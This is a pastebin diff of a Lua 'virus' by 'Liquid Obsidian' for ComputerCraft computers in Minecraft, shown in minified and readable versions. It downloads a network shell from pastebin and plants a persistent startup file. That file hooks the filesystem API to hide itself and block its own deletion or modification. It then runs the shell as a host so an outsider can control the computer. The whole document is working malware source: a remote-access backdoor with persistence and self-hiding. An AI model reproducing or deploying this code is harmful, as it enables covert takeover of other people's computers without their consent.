SHOW:
|
|
- or go back to the newest paste.
| 1 | - | term.clear()shell.run("pastebin get iXTDgCnS /.a/nsh")shell.run("pastebin get Aaza6h5v /.a/framebuffer")shell.run("label set v_"..math.random(1,1e4))local e=fs.open("startup","w")e.write([[
|
| 1 | + | -- Virus |
| 2 | - | local r="/.a"local e={}for n,t in pairs(fs)do
|
| 2 | + | -- by Liquid Obsidian |
| 3 | - | e[n]=t |
| 3 | + | -- Runs secret nsh on their computer. |
| 4 | - | end |
| 4 | + | |
| 5 | - | fs.list=function(n)local e=e.list(n)local n={}for t,e in pairs(e)do
|
| 5 | + | local base = "/" |
| 6 | - | if(e~="startup")then |
| 6 | + | |
| 7 | - | table.insert(n,e)end |
| 7 | + | term.clear() |
| 8 | - | end |
| 8 | + | |
| 9 | - | return n |
| 9 | + | shell.run("pastebin get iXTDgCnS .virus/nsh")
|
| 10 | - | end |
| 10 | + | shell.run("pastebin get Aaza6h5v .virus/framebuffer")
|
| 11 | - | fs.delete=function(n)if n:find("startup")or n:find(".a")or n:find("list")then
|
| 11 | + | shell.run("label set v_" .. math.random(1, 10000))
|
| 12 | - | return false |
| 12 | + | |
| 13 | - | else |
| 13 | + | local f = fs.open("startup", "w")
|
| 14 | - | e.delete(n)end |
| 14 | + | f.write([[ |
| 15 | - | end |
| 15 | + | local rootfs = {}
|
| 16 | - | fs.move=function(n,t)if n:find("startup")or n:find("virus")then
|
| 16 | + | |
| 17 | - | return false |
| 17 | + | for k, v in pairs(fs) do |
| 18 | - | else |
| 18 | + | rootfs[k] = v |
| 19 | - | e.move(n,t)end |
| 19 | + | end |
| 20 | - | end |
| 20 | + | |
| 21 | - | fs.open=function(n,t)if(n:find("startup")or n:find(".a")or n:find("list"))and not t:find("r")then return false end
|
| 21 | + | fs.list = function(path) |
| 22 | - | if t:find("w")or t:find("a")and(n:find("startup")or n:find(".a")or n:find("list"))then
|
| 22 | + | local files = rootfs.list(path) |
| 23 | - | return false |
| 23 | + | local newFiles = {}
|
| 24 | - | end |
| 24 | + | for k, v in pairs(files) do |
| 25 | - | return e.open(n,t)end |
| 25 | + | if(v ~= "startup") then |
| 26 | - | if not os.getComputerLabel()then |
| 26 | + | table.insert(newFiles, v) |
| 27 | - | shell.run("label set v_"..math.random(1,1e4))end
|
| 27 | + | end |
| 28 | - | if fs.exists(r.."/extra")then shell.run(r.."/extra")end |
| 28 | + | end |
| 29 | - | shell.run(r..'/nsh host') |
| 29 | + | return newFiles |
| 30 | - | ]])e.close()term.clear()term.setCursorPos(1,1)if term.isColor()then term.setTextColor(colors.red)end |
| 30 | + | end |
| 31 | - | term.write(os.getComputerID())sleep(.3)os.reboot() |
| 31 | + | |
| 32 | fs.delete = function(path) | |
| 33 | if path:find("startup") or path:find("virus") or path:find("list") then
| |
| 34 | return false | |
| 35 | else | |
| 36 | rootfs.delete(path) | |
| 37 | end | |
| 38 | end | |
| 39 | ||
| 40 | fs.move = function(path, toPath) | |
| 41 | if path:find("startup") or path:find("virus") then
| |
| 42 | return false | |
| 43 | else | |
| 44 | rootfs.move(path, toPath) | |
| 45 | end | |
| 46 | end | |
| 47 | ||
| 48 | fs.open = function(path, mode) | |
| 49 | if ( path:find("startup") or path:find(".virus") or path:find("list") ) and not mode:find("r") then return false end
| |
| 50 | ||
| 51 | if mode:find("w") or mode:find("a") and ( path:find("startup") or path:find(".virus") or path:find("list") ) then
| |
| 52 | return false | |
| 53 | end | |
| 54 | ||
| 55 | return rootfs.open(path, mode) | |
| 56 | end | |
| 57 | ||
| 58 | if not os.getComputerLabel() then | |
| 59 | shell.run("label set v_" .. math.random(1, 10000))
| |
| 60 | end | |
| 61 | ||
| 62 | if fs.exists("/.virus/extra") then shell.run("/.virus/extra") end
| |
| 63 | ||
| 64 | shell.run('.virus/nsh host')
| |
| 65 | ]]) | |
| 66 | ||
| 67 | f.close() | |
| 68 | ||
| 69 | term.clear() | |
| 70 | term.setCursorPos(1, 1) | |
| 71 | if term.isColor() then term.setTextColor(colors.red) end | |
| 72 | ||
| 73 | term.write(os.getComputerID()) | |
| 74 | sleep(.3) | |
| 75 | ||
| 76 | os.reboot() |